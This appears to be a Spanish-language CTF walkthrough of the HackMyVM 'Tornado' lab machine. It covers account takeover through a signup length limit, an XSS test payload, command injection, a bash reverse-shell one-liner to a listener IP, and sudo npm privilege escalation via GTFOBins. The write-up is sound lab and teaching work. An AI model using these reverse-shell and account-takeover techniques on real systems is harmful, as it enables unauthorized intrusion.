HackMyVM Tornado — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.120
.
Realizamos un escaneo de puertos, pero de primera no nos indica nada.
Realizamos un escaneo más profundo, pero no vemos más información que nos pueda ser de ayuda.
Al ingresar la dirección IP en el navegador podemos observar que tenemos la página default de apache2
.
Realizamos un escaneo de subdirectorios y podemos observar que tenemos uno llamado bluesky
.
Al ingresar a los directorios no vemos nada llamativo.
Volviendo a realizar un escaneo de subdirectorios, pero en este caso desde blueskye
vemos que tenemos varios archivos, pero necesitamos estar logueados.
Nos dirigimos a login, pero vemos que el login es curioso, probamos algunas inyecciones así como credenciales genéricas, pero no obtenemos resultados. Pero notamos que el email
tiene una longitud determinada.
Vamos a signup
y podemos registrarnos.
Nos logueamos con esas credenciales y vemos que en el botón de portafolio
tenemos un texto interesante así también un texto comentado.
/home/tornado/imp.txt
Probamos un LFI, pero no nos muestra nada.
Ya que la ubicación del archivo se encuentra en el home de tornado
y suponemos que es otro usuario empleamos el siguiente símbolo ~
y si tenemos resultados.
Capturamos la petición con burpsuite para armar nuestra consulta.
Armamos la consulta y luego de iniciar el ataque podemos ver que tenemos al usuario admin@tornado
.
Nos logueamos, pero no vemos ningún resultado diferente, ya que tenemos bloqueado el acceso en contact
.
Puesto que no tenemos resultados, vamos registrando los usuarios y revisando si en alguno cambia.
Luego de intentar registrarlos, vemos que aparte de admin@tornado
del que tenemos sus credenciales vemos que jacob@tornado, it@tornado y sales@tornado
están registrados. Recordemos que en el login teníamos limitado la longitud y lo mismo ocurre con el signup
.
Probamos eliminando el límite y agregando más caracteres aparte del correo que ya existe damos a enviar y nos registra de manera satisfactoria
Ahora probamos enviando el login con las credenciales, pero solo sales@tornado
y la credencial que creamos y podemos ver que ingresamos como sales@tornado
.
Pero también lo tenemos bloqueado la sección de contact
.
Repetimos la misma operación con los otros usuarios y el resultado cambia con jacob@tornado
, ya que en contact
podemos observar que sí tenemos habilitado el comment
.
Probamos algunas consultas básicas y vemos que podemos ejecutar un XSS simple.
<script>alert("gm4tsy")</script>
Probamos si podemos explotar un SSTI, pero vemos que nos así.
Probando otras consultas vemos que podemos ejecutar comandos. Peor no vemos si tenemos el resultado.
Puesto que podemos ejecutar comandos, intentaremos establecer conexión de manera directa, preparamos nuestra consulta.
bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
Iniciamos nuestro listener
Luego de ello enviamos si se queda cargando es buena señal.
Vamos a nuestro listener y vemos que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Vemos qué usuarios tenemos en el passwd
y tenemos 3, realizando un sudo -l
observamos que tenemos la capacidad de ejecutar el binario npm
como el usuario catchme
.
Revisando en la página de GTFOBins vemos que nos muestran una manera de como explotar el binario.
Seguimos los pasos, pero vemos que tenemos varios errores.
Revisando el archivo que nos creo que vemos que el nombre del .json
no es similar y esto puede ser debido a algunas restricciones al momento de crear.
Ya que no nos funciona buscamos como es la estructura de este archivo y en geooksforgeeks tenemos un ejemplo.
Creamos el siguiente archivo.
Ejecutamos el binario nuevamente y ya estamos como el usuario catchme
.
Al dirigirnos a la carpeta del usuario vemos que tenemos dos archivos.
Abrimos el archivo y podemos observar una palabra cifrada y el código.
Revisando como está estructurado el código funciona rotando símbolos, como un ceaser
o un rot13
. Vamos a la página de CyberChef y probando con un rot13
vemos que tenemos el descifrado más legible con la primera cantidad.
idkrootpussxord
Ya que indica root
suponemos que se trata para el password de root
, probamos ingresando el texto como credencial, pero nos da error.
Sí observamos bien el resultado de la palabra esta podría ser idkrootpassword
en vez de la otra. Probamos con esta corrección y podemos observar así si es correcta. De esta manera culminamos esta máquina.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
